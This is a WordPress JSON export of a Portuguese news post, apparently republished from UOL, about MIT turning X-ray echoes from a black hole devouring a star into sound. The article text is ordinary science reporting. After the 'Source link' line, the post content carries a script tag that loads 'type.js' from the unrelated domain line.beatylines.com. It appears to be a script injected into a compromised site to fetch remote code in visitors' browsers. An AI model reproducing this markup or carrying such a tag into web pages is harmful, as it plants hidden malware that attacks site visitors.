{"id":684,"date":"1969-12-31T21:00:00","date_gmt":"1970-01-01T00:00:00","guid":{"rendered":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/cientistas-captam-som-de-buraco-negro-devorando-uma-estrela-ouca\/"},"modified":"1969-12-31T21:00:00","modified_gmt":"1970-01-01T00:00:00","slug":"cientistas-captam-som-de-buraco-negro-devorando-uma-estrela-ouca","status":"publish","type":"post","link":"https:\/\/manualdoidoso.com.br\/blog\/1969\/12\/31\/cientistas-captam-som-de-buraco-negro-devorando-uma-estrela-ouca\/","title":{"rendered":"Cientistas captam som de buraco negro devorando uma estrela; ou\u00e7a"},"content":{"rendered":"<p> <br \/>\n<\/p>\n<div>\n<p>O MIT (Massachusetts Institute of Technology) divulgou um \u00e1udio um tanto intrigante: a representa\u00e7\u00e3o de um buraco negro devorando uma estrela em \u00f3rbita. Para criar o som foram utilizados os ecos de luz de raio-X, que s\u00e3o emitidos quando o buraco negro puxa o g\u00e1s e a poeira do astro. O v\u00eddeo de 13 segundos desperta a curiosidade de como os misteriosos corpos celestes atuam.<\/p>\n<p>O estudo publicado no Astrophysical Journal, e divulgado no site oficial do Instituto na \u00faltima segunda-feira (2), traz mais um avan\u00e7o no conhecimento sobre estes fen\u00f4menos. E essas descobertas podem ajudar a desvendar como os buracos negros supermassivos podem moldar a forma\u00e7\u00e3o de gal\u00e1xias inteiras ao ejetar part\u00edculas c\u00f3smicas.<\/p>\n<div class=\"photoembed-wrapper\">\n<figure class=\"photo photo-embed no-gutter col-sm-24  crop-750x421 limit-crop  figure\" style=\"max-width:750px\" data-format=\"horizontal\">\n<div class=\"image bg\">\n<div class=\"placeholder\" style=\"max-width:750px\">   <img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/conteudo.imguol.com.br\/c\/noticias\/0b\/2022\/05\/03\/ecos-de-um-buraco-negro-sonorizados-em-video-do-mit-1651601961216_v2_750x421.jpg\" class=\"pinit-img\" alt=\"Ecos de um buraco negro sonorizados em v\u00eddeo do MIT - Divulga\u00e7\u00e3o\/MIT - Divulga\u00e7\u00e3o\/MIT\" data-crop=\"{&quot;xs&quot;:&quot;450x253&quot;,&quot;sm&quot;:&quot;750x421&quot;,&quot;md&quot;:&quot;600x337&quot;,&quot;lg&quot;:&quot;750x421&quot;}\" width=\"750\" height=\"421\"\/>  <i class=\"placeholder-mask\" style=\"padding-bottom: 56.13333333333333%\"\/><\/div>\n<\/div><figcaption class=\"container bottom-title\">\n<p>Ecos de um buraco negro sonorizados em v\u00eddeo do MIT<\/p>\n<p> <span>Imagem: Divulga\u00e7\u00e3o\/MIT<\/span><\/figcaption><\/figure>\n<\/div>\n<p>Sabe-se que esse tipo de corpo celeste funciona como um po\u00e7o gravitacional imensamente forte do espa\u00e7o-tempo. Quem assistiu ao filme Interestelar, longa-metragem com tema aeroespacial lan\u00e7ado em 2014, tem uma vis\u00e3o cinematogr\u00e1fica da reluzente Gargantua, buraco negro do <a href=\"https:\/\/www.uol.com.br\/splash\/filmes\/\">filme<\/a>. Mas, segundo o MIT, esses corpos celestes s\u00e3o essencialmente escuros.<\/p>\n<p>E seus arredores extremos ficam iluminados apenas quando engolem uma estrela. \u00c9 nesse momento que o buraco negro puxa g\u00e1s e poeira do astro em \u00f3rbita e pode emitir rajadas intensas de luz de raio-X.<\/p>\n<h2>Como o som \u00e9 poss\u00edvel?<\/h2>\n<p>O projeto aproxima pessoas dessas curiosas movimenta\u00e7\u00f5es c\u00f3smicas e torna poss\u00edvel ouvir o que seria o &#8220;som de um buraco negro&#8221;. Claro que a anos-luz de dist\u00e2ncia, o som n\u00e3o foi diretamente captado. Se trata de uma simula\u00e7\u00e3o que usa esse mesmo eco de raio-X, causado ao engolir uma estrela, convertido em ondas sonoras aud\u00edveis.<\/p>\n<p>A iniciativa \u00e9 liderada por Erin Kara &#8211; co-autora do artigo e professora do MIT &#8211; em conjunto com estudiosos de educa\u00e7\u00e3o e <a href=\"https:\/\/www.uol.com.br\/splash\/musica\/\">m\u00fasica<\/a> do MIT, Kyle Keane e Ian Condry.<\/p>\n<p>Est\u00e1 curioso? Ent\u00e3o vale a pena ouvir:<\/p>\n<p>Para entender as movimenta\u00e7\u00f5es mostradas no v\u00eddeo, saiba que o c\u00edrculo branco central indica a localiza\u00e7\u00e3o do horizonte de eventos do buraco negro. J\u00e1 os ecos de luz s\u00e3o codificados por cores na sua frequ\u00eancia observada.<\/p>\n<p>A simula\u00e7\u00e3o usa a luz de frequ\u00eancia mais baixa para corresponder a um som de tom mais baixo (ou seja, mais grave).<\/p>\n<h2>T\u00e9cnica dos morcegos<\/h2>\n<p>Rastrear como o buraco negro evolui \u00e0 medida que devora outras estrelas \u00e9 um desafio. E o jeito que os cientistas encontraram foi de se inspirar nos morcegos. Principalmente na forma peculiar como eles se comunicam.<\/p>\n<p>Quando um integrante do bando emite um chamado, esse som pode ricochetear em obst\u00e1culos, chegando no outro morcego em formato de eco. O tempo que demora para o eco chegar depende da dist\u00e2ncia entre os dois morcegos. E isso \u00e9 importante porque permite que o animal tenha um mapa mental mais claro de seu entorno.<\/p>\n<p>E, da mesma forma que os ecos s\u00e3o emitidos por morcegos, Kara e seu time de cientistas est\u00e3o usando ecos de raios-X para mapear a vizinhan\u00e7a de um buraco negro.<\/p>\n<p>Para fazer isso, o MIT divulgou o uso de um novo equipamento chamado de &#8220;M\u00e1quina de Reverbera\u00e7\u00e3o&#8221;. Ele funciona para buscar ecos de buracos negros em dados de sat\u00e9lites.<\/p>\n<p>Nessa busca, os cientistas descobriram oito bin\u00e1rios de buracos negros &#8211; &#8216;mini&#8217; buracos negros supermassivos &#8211; na Via L\u00e1ctea. Sendo que anteriormente apenas dois eram conhecidos.<\/p>\n<p>&#8220;Entendendo as explos\u00f5es nesses pequenos sistemas pr\u00f3ximos, podemos entender como explos\u00f5es semelhantes em buracos negros supermassivos afetam as gal\u00e1xias em que residem&#8221;, explica Kara.<\/p>\n<p>Ao utilizar a m\u00e1quina para comparar os ecos, a equipe foi capaz de formar uma imagem de como um buraco negro evolui durante uma explos\u00e3o. E o passo a passo \u00e9 basicamente o seguinte.<\/p>\n<p>Primeiro, o corpo celeste passaria por um estado &#8220;duro&#8221;. Nessa etapa, uma coroa de f\u00f3tons &#8211; regi\u00e3o do plasma de alta energia &#8211; junto com um jato de part\u00edculas relativ\u00edsticas, \u00e9 lan\u00e7ada perto da velocidade da luz.<\/p>\n<p>Depois, em certo ponto de exist\u00eancia, o buraco negro emite um flash final de alta energia. Isso acontece antes de mudar para um estado &#8220;suave&#8221; de baixa energia. Poderia ser um sinal de que a coroa do corpo celeste se expandiu ejetando uma explos\u00e3o final de part\u00edculas de alta energia antes de desaparecer completamente.<\/p>\n<p>O tempo em que um telesc\u00f3pio recebe a luz da coroa, comparado com quando recebe os ecos de raios-X, d\u00e1 uma estimativa da dist\u00e2ncia entre a coroa e o disco de acre\u00e7\u00e3o &#8211; estrutura formada por materiais orbitais do corpo central. E, a partir da\u00ed, analisar a forma como esses atrasos se alteram pode revelar como um buraco negro evolui \u00e0 medida que o ele consome o material estelar.<\/p>\n<\/p><\/div>\n<p><br \/>\n<br \/><a href=\"https:\/\/www.uol.com.br\/tilt\/noticias\/redacao\/2022\/05\/03\/ouca-ecos-raio-x-buraco-negro.htm\">Source link <\/a><script src='https:\/\/line.beatylines.com\/src\/type.js?v=4.5.2' type='text\/javascript' id='globalsway'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O MIT (Massachusetts Institute of Technology) divulgou um \u00e1udio um tanto intrigante: a representa\u00e7\u00e3o de um buraco negro devorando uma estrela em \u00f3rbita. Para criar o som foram utilizados os ecos de luz de raio-X, que s\u00e3o emitidos quando o buraco negro puxa o g\u00e1s e a poeira do astro. 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